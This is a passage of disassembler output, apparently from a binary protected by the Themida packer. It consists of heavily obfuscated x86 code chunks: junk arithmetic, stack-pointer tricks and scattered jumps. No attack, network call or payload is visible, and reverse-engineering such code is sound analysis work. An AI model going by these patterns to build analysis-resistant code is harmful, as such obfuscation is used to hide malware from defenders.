; FUNCTION CHUNK AT 00552E87 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055302E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005530CC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005532B0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055395E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553D02 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055497E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00554AC3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00554EF7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00555539 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005556FF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055573B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00555E21 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055608F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00556254 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556291 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005563BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055666D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00556894 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055692A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00556958 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00556BAD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00556D2B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00557599 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00557938 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 00557B8A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00557F32 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055814C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005583FB SIZE 0000003C BYTES
; FUNCTION CHUNK AT 00558915 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005591DE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005592E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005593AE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005598A3 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00559FC4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A0BC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A556 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055A77F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055AA9A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055B026 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B100 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055B22A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B24A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B4F3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055B951 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055BBE5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C2BD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C510 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C8A7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055D1FC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055D4B9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055D5B3 SIZE 0000000A BYTES

		push	ebx
		mov	ebx, 2E2F412Fh
		and	ebx, 316727AAh
		add	ebx, 4CA026FEh
		add	ebx, 2A95B78h
		sub	ebx, 93A558Ah
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp-4+arg_0], edx
		mov	edx, ecx
		jmp	loc_557599
sub_55CE17	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_55CE45:				; CODE XREF: sub_55C1DB-40F6j
		sub	eax, 0A9722027h
		mov	edi, eax
		pop	eax
		push	esi
		jmp	loc_55CD71
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55CE53:				; CODE XREF: sub_55AE3A-5F96j
		push	cx
		mov	cl, 0FFh
		sub	dh, cl
		pop	cx
		inc	dh
		push	eax
		jmp	loc_55A503
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_55CE63:				; CODE XREF: Themida_:00552447j
		push	552Ch
		mov	[esp], edx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		not	edx
		jmp	loc_55BD5E
; ---------------------------------------------------------------------------


loc_55CE7C:				; CODE XREF: Themida_:00555680j
		pop	ebp
		jmp	loc_556557
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_55CE82:				; CODE XREF: sub_55611A-20E6j
		pop	esp
		add	bl, 2Fh
		sub	bl, 9Ch
		push	ecx
		mov	cl, 59h
		jmp	loc_55C458
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_55CE91:				; CODE XREF: sub_552B28+3BB5j
		sub	al, bl
		pop	ebx
		push	bx
		mov	bh, 16h
		jmp	loc_557A07
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------


loc_55CE9D:				; CODE XREF: Themida_:0055DB39j
		push	esi
		mov	esi, 3D6C5DD9h
		sub	esi, 3D4D629Ch
		jmp	loc_558742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55CEAE:				; CODE XREF: sub_55AE3A-710Dj
		neg	dl
		jmp	loc_55ABE2
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_55CEB5:				; CODE XREF: Themida_:00556BD8j
		push	eax
		push	esi
		mov	esi, 0ADB2D0Eh
		shr	esi, 1
		jmp	loc_557052
; ---------------------------------------------------------------------------


loc_55CEC3:				; CODE XREF: Themida_:0055B73Fj
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_556D6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551B2E


loc_55CEDA:				; CODE XREF: sub_551B2E+3j
		mov	[esp+4+var_4], edi
		mov	edi, 2
		jmp	loc_559323
; END OF FUNCTION CHUNK	FOR sub_551B2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5545BE


loc_55CEE7:				; CODE XREF: sub_5545BE+5957j
		xor	bh, 0A0h
		add	al, bh
		pop	ebx
		push	edx
		mov	dl, 0B6h
		add	al, dl
		jmp	loc_554E2B
; END OF FUNCTION CHUNK	FOR sub_5545BE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_55BC7B
; ---------------------------------------------------------------------------


loc_55CF16:				; CODE XREF: Themida_:0055A3F9j
		pop	esp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_558256
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552BA6


loc_55CF28:				; CODE XREF: sub_552BA6+Ej
		mov	[esp+8+var_8], ebx
		add	[esp+8+var_8], 38E14E65h
		pop	esi
		sub	esi, 38E14E65h
		sub	esp, 4
		jmp	loc_559F4F
; END OF FUNCTION CHUNK	FOR sub_552BA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_55CF41:				; CODE XREF: sub_554E9D-5C9j
		mov	ebx, eax
		pop	eax
		add	ebp, ebx
		jmp	loc_5591CB
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55CF4B:				; CODE XREF: sub_55C814-3520j
		add	edx, ebp
		pop	ebp
		jmp	loc_554693
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55CF53:				; CODE XREF: Themida_:005571C5j
		mov	[esp], edi
		jmp	loc_559DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_55CF5B:				; CODE XREF: sub_556BCD-4C20j
		pop	ax
		add	cl, 5Eh
		jmp	loc_558000
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55CF65:				; CODE XREF: sub_55314C+1j
		mov	ebp, 40061E96h
		xor	ebp, 34596ECDh
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		and	ebp, 31E34E23h
		push	esi
		mov	esi, 0BEA4B136h
		jmp	loc_5584D7
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_55CF87:				; CODE XREF: Themida_:0055B65Dj
		mov	ebp, 4E8306Eh
		shl	ebp, 1
		sub	ebp, 9D060D8h
		mov	eax, ebp
		pop	ebp
		mov	edi, eax
		pop	eax
		mov	ecx, edi
		jmp	loc_55DE00
; ---------------------------------------------------------------------------


loc_55CFA1:				; CODE XREF: Themida_:0055D93Ej
		sub	ecx, eax
		pop	eax
		and	ecx, 44D53A4Fh
		shl	ecx, 8
		inc	ecx
		xor	ecx, 0BA5212A1h
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55A279
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55CFC4:				; CODE XREF: sub_55ABF6-94C3j
		add	bl, 62h
		add	bl, al
		push	dx
		mov	dl, 62h
		jmp	loc_55BE9D
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55CFD2:				; CODE XREF: Themida_:0055D569j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		add	eax, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55C2B5

; =============== S U B	R O U T	I N E =======================================



sub_55CFFC	proc near		; DATA XREF: Themida_:00551410o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00551648 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055203A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005538AE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00553A36 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005545C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554700 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00555552 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005557DC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00555816 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005561E4 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00558160 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00559AEB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00559FF7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B89A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055BA03 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055BCE8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055BE14 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055C15D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055C65D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C901 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055D404 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055D669 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055DA7B SIZE 00000018 BYTES

		mov	cx, [esp+0]
		push	66B4h
		mov	[esp+4+var_4], ecx
		push	esp
		jmp	loc_5538AE
sub_55CFFC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55D00E:				; CODE XREF: sub_55C814-60Bj
		push	228Dh
		mov	[esp+4+var_4], edi
		mov	edi, esp
		push	ebx
		jmp	loc_552DC7
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55D01E:				; CODE XREF: Themida_:00552423j
		pop	ebx
		add	edi, 29F204FFh
		sub	edi, edx
		sub	edi, 29F204FFh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5556B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D03B:				; CODE XREF: sub_55ABF6-8A7Fj
		or	cl, 0B8h
		or	cl, 98h
		or	cl, 0DEh
		add	cl, 0C1h
		jmp	loc_55BFC8
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A407


loc_55D04C:				; CODE XREF: sub_55A407+E7Cj
		inc	ebp
		or	ebp, 7324F61h
		sub	ebp, 6E0B6448h
		push	edx
		mov	edx, 5DB13223h
		and	edx, 15802AE4h
		and	edx, 2F0F327Bh
		jmp	loc_55639A
; END OF FUNCTION CHUNK	FOR sub_55A407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55D070:				; CODE XREF: sub_55AE3A-32FFj
		add	bl, 0D2h
		sub	bl, ch
		sub	bl, 0D2h
		jmp	loc_55A437
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_55D07D:				; CODE XREF: Themida_:005540D8j
		pop	small word ptr [esp]
		jmp	loc_555823
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D086:				; CODE XREF: sub_55ABF6-6E07j
		push	[esp-12h+arg_C+2]
		jmp	loc_554B22
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55D08E:				; CODE XREF: Themida_:00558DE3j
		sub	ebp, 350A216Eh
		jmp	loc_5576F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5578E3


loc_55D099:				; CODE XREF: sub_5578E3+Ej
		add	esp, 4
		jmp	loc_55A584
; END OF FUNCTION CHUNK	FOR sub_5578E3
; ---------------------------------------------------------------------------


loc_55D0A4:				; CODE XREF: Themida_:0055A5C8j
		mov	ecx, 40712787h
		jmp	loc_551F70
; ---------------------------------------------------------------------------


loc_55D0AE:				; CODE XREF: Themida_:005539FAj
		push	bp
		push	esi
		mov	si, 716Bh
		jmp	loc_5516EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_55D0BA:				; CODE XREF: sub_55C87F+23j
		push	5D4Ah
		jmp	loc_553B69
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------


loc_55D0C4:				; CODE XREF: Themida_:00553CC0j
		add	ebx, 43744307h
		add	ebx, 41342C10h
		add	ebx, 1248149Eh
		pop	ecx
		sub	ebx, eax
		add	ebx, 35407007h
		push	edx
		mov	edx, 4EE900C6h
		sub	ebx, 317F03A1h
		add	ebx, edx
		push	edx
		jmp	loc_557673

; =============== S U B	R O U T	I N E =======================================



sub_55D0F3	proc near		; DATA XREF: Themida_:0055121Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005518D4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00551CE4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00553ED3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555158 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00555201 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00556A3B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558BBB SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00559CA5 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00559E31 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BEFA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055C1F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055C6D0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055D6BD SIZE 00000026 BYTES

		push	dword ptr [esp+0]
		pop	ecx
		push	545Ch
		mov	[esp+4+var_4], ecx
		push	4284h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	ebp
		push	ecx
		mov	ecx, 5D816DCBh
		mov	ebp, ecx
		pop	ecx
		mov	esi, 0F200B9C0h
		add	esi, ebp
		pop	ebp
		jmp	loc_551CE4
sub_55D0F3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D13A:				; CODE XREF: sub_55ABF6+DF0j
		sub	eax, ebx
		sub	eax, 0CB67C0Eh
		pop	ebx
		add	ecx, 6BD04328h
		jmp	loc_553C3B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F80


loc_55D14D:				; CODE XREF: sub_551F80+45Cj
		mov	esi, 46853C25h
		mov	edx, 4CCD1F2Dh
		xor	edx, esi
		pop	esi
		mov	esi, edx
		pop	edx
		mov	ecx, 0A482309h
		jmp	loc_554648
; END OF FUNCTION CHUNK	FOR sub_551F80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55D167:				; CODE XREF: sub_55C814+139Fj
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	sub_5569C2
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A833


loc_55D178:				; CODE XREF: sub_55A833+2383j
		push	edx
		mov	edx, 43790769h
		mov	edi, 668E05E5h
		xor	edi, edx
		pop	edx
		sub	esi, edi
		pop	edi
		jmp	sub_553ACA
; END OF FUNCTION CHUNK	FOR sub_55A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559CF7


loc_55D18E:				; CODE XREF: sub_559CF7-413Bj
		and	edx, 73167809h
		add	edx, 36886805h
		dec	edx
		not	edx
		jmp	loc_5545CF
; END OF FUNCTION CHUNK	FOR sub_559CF7
; ---------------------------------------------------------------------------


loc_55D1A2:				; CODE XREF: Themida_:00555FFDj
		mov	ebx, 35614153h
		neg	ebx
		jmp	loc_5547D6
; ---------------------------------------------------------------------------


loc_55D1AE:				; CODE XREF: Themida_:00556243j
		and	ecx, 31535CCFh
		shl	ecx, 7
		jmp	loc_55706D
; ---------------------------------------------------------------------------


loc_55D1BC:				; CODE XREF: Themida_:00558356j
		mov	edx, 15177215h
		xor	ecx, edx
		pop	edx
		add	edi, 25F8161Fh
		add	edi, ecx
		sub	edi, 25F8161Fh
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 42E447Eh
		sub	ebx, 2BE226A7h
		add	ebx, edx
		add	ebx, 2BE226A7h
		pop	edx
		push	edx
		push	546Dh
		jmp	loc_55A0C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55D1FC:				; CODE XREF: sub_55CE17-236Ej
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	edx
		push	4764EF0h
		pop	edx
		neg	edx
		jmp	loc_557938
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55D217:				; CODE XREF: sub_55C58B-9C37j
		sub	cl, 1
		sub	cl, 1
		xor	al, cl
		jmp	loc_556E41
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_55D224:				; CODE XREF: sub_55611A+634Cj
		sub	bl, 0C4h
		sub	bl, cl
		add	bl, 0C4h
		push	[esp+0Ch+var_C]
		pop	ecx
		jmp	loc_555579
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_55D235:				; CODE XREF: sub_556BCD+3AB4j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		sub	ch, dh
		jmp	loc_55AB40
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D24F:				; CODE XREF: sub_55ABF6-4691j
		push	esi
		mov	esi, 6BF431D2h
		or	esi, 57FB0E09h
		add	esi, 38C66B33h
		dec	esi
		not	esi
		add	esi, 0B8C5AB0Fh
		jmp	loc_559057
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_55D26F:				; CODE XREF: sub_55910B+4BCEj
		add	esp, 4
		push	6EAAh
		mov	[esp-4+arg_0], ecx
		push	ebx
		jmp	loc_556A10
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_55D283:				; CODE XREF: sub_55326E+53A7j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		jmp	loc_558B42
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55D295:				; CODE XREF: sub_558326-3B78j
		neg	esi
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		jmp	loc_5598C7
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_55D2A2:				; CODE XREF: Themida_:0055313Fj
		push	edx
		mov	edx, 293E30CBh
		jmp	loc_55D69E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D2AD:				; CODE XREF: sub_55ABF6+D09j
		sub	ebx, 52DE3406h
		push	ecx
		mov	ecx, 105F5A50h
		add	ebx, ecx
		pop	ecx
		push	[esp-6+arg_0+2]
		pop	eax
		add	esp, 4
		sub	ebx, 297479F1h
		jmp	loc_558DE8
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55D2CE:				; CODE XREF: Themida_:0055C576j
		push	11E9h
		mov	[esp], ecx
		mov	ecx, 546D2AE5h
		or	ecx, 477B0946h
		jmp	loc_557E9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B560


loc_55D2E6:				; CODE XREF: sub_55B560-9FC6j
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		sar	byte ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55B560
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55D2FB:				; CODE XREF: sub_55AE3A-3C22j
		add	dh, 0F8h
		jmp	loc_551B98
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55D303:				; CODE XREF: sub_55ABF6-4D29j
		mov	edi, [esp-8+arg_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_558CE1
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55178F


loc_55D314:				; CODE XREF: sub_55178F+1E64j
		sub	ecx, ebx
		sub	ecx, 1E6C3581h
		pop	ebx
		sub	ebx, 126713AAh
		sub	ebx, ecx
		add	ebx, 126713AAh
		mov	ecx, [esp+0]
		add	esp, 4
		push	4624h
		mov	[esp+0], edx
		mov	edx, 3AA33657h
		add	ebx, edx
		pop	edx
		mov	dx, [esp-4+arg_0]
		jmp	sub_555211
; END OF FUNCTION CHUNK	FOR sub_55178F
; ---------------------------------------------------------------------------


loc_55D34D:				; CODE XREF: Themida_:0055B06Dj
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 0A6309C8h
		neg	ecx
		push	eax
		mov	eax, 1CD95100h
		xor	ecx, eax
		pop	eax
		sub	ecx, 0FFFFFFFFh
		shr	ecx, 8
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		jmp	loc_556CC2
; ---------------------------------------------------------------------------


loc_55D375:				; CODE XREF: Themida_:00557F50j
		mov	ebp, 0BA42890h
		neg	ebp
		add	ebp, 550A4C0Bh
		add	ebp, 17315ABAh
		jmp	loc_554C7C
; ---------------------------------------------------------------------------


loc_55D38D:				; CODE XREF: Themida_:005571ECj
		pop	ebp
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		push	ebx
		xor	[esp], ebx
		jmp	loc_55AB8C
; ---------------------------------------------------------------------------


loc_55D39C:				; CODE XREF: Themida_:00557AEDj
		add	edx, ebx
		jmp	loc_556BF3
; ---------------------------------------------------------------------------


loc_55D3A3:				; CODE XREF: Themida_:0055B384j
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_55D3B1:				; CODE XREF: sub_555A6F-C49j
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		add	bl, al
		jmp	loc_553DF4
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E01


loc_55D3BF:				; CODE XREF: sub_552E01+9B9Fj
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		shr	ecx, 2
		jmp	sub_55D9E1
; END OF FUNCTION CHUNK	FOR sub_552E01

; =============== S U B	R O U T	I N E =======================================



sub_55D3E1	proc near		; CODE XREF: sub_5552D5+23j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00559F8E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055CB16 SIZE 0000002B BYTES

		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		pop	esp
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_559F8E
sub_55D3E1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55D404:				; CODE XREF: sub_55CFFC+670j
		add	esp, 4
		push	esi
		jmp	loc_55C65D
; END OF FUNCTION CHUNK	FOR sub_55CFFC

; =============== S U B	R O U T	I N E =======================================



sub_55D40D	proc near		; DATA XREF: Themida_:0055125Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00551665 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005517ED SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005519A6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552A09 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005536D9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00554632 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00555425 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005568A4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557541 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00557A67 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00558995 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055947F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00559E14 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559E5E SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00559FEE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055A14B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055A466 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055AB39 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B03D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B87F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055C352 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055C3CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055D8AF SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0055DC73 SIZE 00000027 BYTES

		push	dword ptr [esp+0]
		jmp	loc_5568A4
sub_55D40D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55D415:				; CODE XREF: sub_55A4DA-435Ej
		xor	esi, edx
		pop	edx
		sub	ebx, esi
		pop	esi
		sub	ebx, eax
		jmp	loc_55181D
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55D422:				; CODE XREF: Themida_:005532F0j
		pop	esp
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


